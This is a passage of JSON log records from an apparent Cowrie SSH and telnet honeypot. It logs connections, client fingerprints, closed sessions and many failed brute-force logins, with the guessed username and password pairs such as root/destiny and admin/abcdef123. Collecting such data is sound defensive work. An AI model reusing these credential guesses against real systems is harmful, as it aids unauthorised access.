16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:24.083879Z","src_ip":"38.93.206.2","session":"7de01d0c09c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"destiny","message":"login attempt [root/destiny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:24.309429Z","src_ip":"38.93.206.2","session":"7de01d0c09c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:25.367952Z","src_ip":"38.93.206.2","session":"7de01d0c09c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51956,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8f2368605de","protocol":"telnet","message":"New connection: 152.42.224.71:51956 (10.17.0.5:23) [session: f8f2368605de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:27.939119Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51972,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d69946f65c9","protocol":"telnet","message":"New connection: 152.42.224.71:51972 (10.17.0.5:23) [session: 9d69946f65c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:29.743687Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":54516,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a2d4864a682","protocol":"ssh","message":"New connection: 102.210.148.92:54516 (159.203.135.109:22) [session: 4a2d4864a682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:31.266392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:31.272025Z","src_ip":"102.210.148.92","session":"4a2d4864a682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:31.516596Z","src_ip":"102.210.148.92","session":"4a2d4864a682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xh","password":"123","message":"login attempt [xh/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:32.527912Z","src_ip":"102.210.148.92","session":"4a2d4864a682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:33.775684Z","src_ip":"102.210.148.92","session":"4a2d4864a682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51986,"dst_ip":"10.17.0.5","dst_port":23,"session":"96deeec7315f","protocol":"telnet","message":"New connection: 152.42.224.71:51986 (10.17.0.5:23) [session: 96deeec7315f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:35.153958Z"}
{"eventid":"cowrie.session.closed","duration":51.31742477416992,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:36.391589Z","src_ip":"152.42.224.71","session":"0be262411d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":53886,"dst_ip":"159.203.135.109","dst_port":22,"session":"def46dfca094","protocol":"ssh","message":"New connection: 43.156.28.136:53886 (159.203.135.109:22) [session: def46dfca094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:40.977277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:40.982353Z","src_ip":"43.156.28.136","session":"def46dfca094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:41.221133Z","src_ip":"43.156.28.136","session":"def46dfca094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace2023","message":"login attempt [dspace/dspace2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:42.208630Z","src_ip":"43.156.28.136","session":"def46dfca094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":61591,"dst_ip":"10.17.0.5","dst_port":22,"session":"899ff08c1d95","protocol":"ssh","message":"New connection: 2.57.121.112:61591 (10.17.0.5:22) [session: 899ff08c1d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:42.978240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:42.983488Z","src_ip":"2.57.121.112","session":"899ff08c1d95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:43.083381Z","src_ip":"2.57.121.112","session":"899ff08c1d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:43.449938Z","src_ip":"43.156.28.136","session":"def46dfca094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcdefghij","message":"login attempt [admin/abcdefghij] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:43.554275Z","src_ip":"2.57.121.112","session":"899ff08c1d95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":41834,"dst_ip":"159.203.135.109","dst_port":23,"session":"25ed37e98279","protocol":"telnet","message":"New connection: 209.127.178.212:41834 (159.203.135.109:23) [session: 25ed37e98279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:44.093576Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcdef123","message":"login attempt [admin/abcdef123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:44.656940Z","src_ip":"2.57.121.112","session":"899ff08c1d95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44508,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e0ce37ec22","protocol":"telnet","message":"New connection: 152.42.224.71:44508 (10.17.0.5:23) [session: 94e0ce37ec22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:44.841123Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":41874,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5467d87c87f","protocol":"telnet","message":"New connection: 209.127.178.212:41874 (159.203.135.109:23) [session: b5467d87c87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:45.081991Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc456","message":"login attempt [admin/abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:45.760350Z","src_ip":"2.57.121.112","session":"899ff08c1d95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abarth","message":"login attempt [admin/abarth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:46.863771Z","src_ip":"2.57.121.112","session":"899ff08c1d95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aabbccdd","message":"login attempt [admin/aabbccdd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:47.967152Z","src_ip":"2.57.121.112","session":"899ff08c1d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:49.070339Z","src_ip":"2.57.121.112","session":"899ff08c1d95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.797459840774536,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:49.638441Z","src_ip":"152.42.224.71","session":"94e0ce37ec22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":42226,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9403d784d61","protocol":"telnet","message":"New connection: 209.127.178.212:42226 (159.203.135.109:23) [session: a9403d784d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:53.891200Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37899,"dst_ip":"10.17.0.5","dst_port":22,"session":"c55e88ee920b","protocol":"ssh","message":"New connection: 2.57.121.25:37899 (10.17.0.5:22) [session: c55e88ee920b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:55.596030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:55.604706Z","src_ip":"2.57.121.25","session":"c55e88ee920b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:55.704684Z","src_ip":"2.57.121.25","session":"c55e88ee920b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21021994","message":"login attempt [user/21021994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:56.178120Z","src_ip":"2.57.121.25","session":"c55e88ee920b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":42228,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aabfe2db61b","protocol":"telnet","message":"New connection: 209.127.178.212:42228 (159.203.135.109:23) [session: 1aabfe2db61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:56.908560Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"21021979","message":"login attempt [user/21021979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:57.281283Z","src_ip":"2.57.121.25","session":"c55e88ee920b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.922290325164795,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:57.861320Z","src_ip":"152.42.224.71","session":"f8f2368605de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"210210","message":"login attempt [user/210210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:58.384123Z","src_ip":"2.57.121.25","session":"c55e88ee920b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":59232,"dst_ip":"159.203.135.109","dst_port":22,"session":"4432428faeba","protocol":"ssh","message":"New connection: 103.188.177.46:59232 (159.203.135.109:22) [session: 4432428faeba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:58.693932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:58.699449Z","src_ip":"103.188.177.46","session":"4432428faeba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:58.945469Z","src_ip":"103.188.177.46","session":"4432428faeba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"210188","message":"login attempt [user/210188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:59.486532Z","src_ip":"2.57.121.25","session":"c55e88ee920b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terra","password":"terra","message":"login attempt [terra/terra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:59.968456Z","src_ip":"103.188.177.46","session":"4432428faeba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21011982","message":"login attempt [user/21011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:00.589154Z","src_ip":"2.57.121.25","session":"c55e88ee920b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:01.216980Z","src_ip":"103.188.177.46","session":"4432428faeba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:01.693881Z","src_ip":"2.57.121.25","session":"c55e88ee920b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":58784,"dst_ip":"10.17.0.5","dst_port":22,"session":"452a2891c6d0","protocol":"ssh","message":"New connection: 43.153.37.39:58784 (10.17.0.5:22) [session: 452a2891c6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:03.900568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:03.908555Z","src_ip":"43.153.37.39","session":"452a2891c6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:03.979467Z","src_ip":"43.153.37.39","session":"452a2891c6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rdd","message":"login attempt [root/P@ssw0rdd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:04.294902Z","src_ip":"43.153.37.39","session":"452a2891c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:05.367527Z","src_ip":"43.153.37.39","session":"452a2891c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41246,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbab69ed1640","protocol":"telnet","message":"New connection: 152.42.224.71:41246 (10.17.0.5:23) [session: fbab69ed1640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:06.877330Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.76.58.113","src_port":51816,"dst_ip":"159.203.135.109","dst_port":23,"session":"3675669195d7","protocol":"telnet","message":"New connection: 79.76.58.113:51816 (159.203.135.109:23) [session: 3675669195d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:09.250496Z"}
{"eventid":"cowrie.session.closed","duration":57.6812162399292,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:11.939714Z","src_ip":"152.42.224.71","session":"78c91bd1d148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41258,"dst_ip":"10.17.0.5","dst_port":23,"session":"7faf9448c25e","protocol":"telnet","message":"New connection: 152.42.224.71:41258 (10.17.0.5:23) [session: 7faf9448c25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:12.460687Z"}
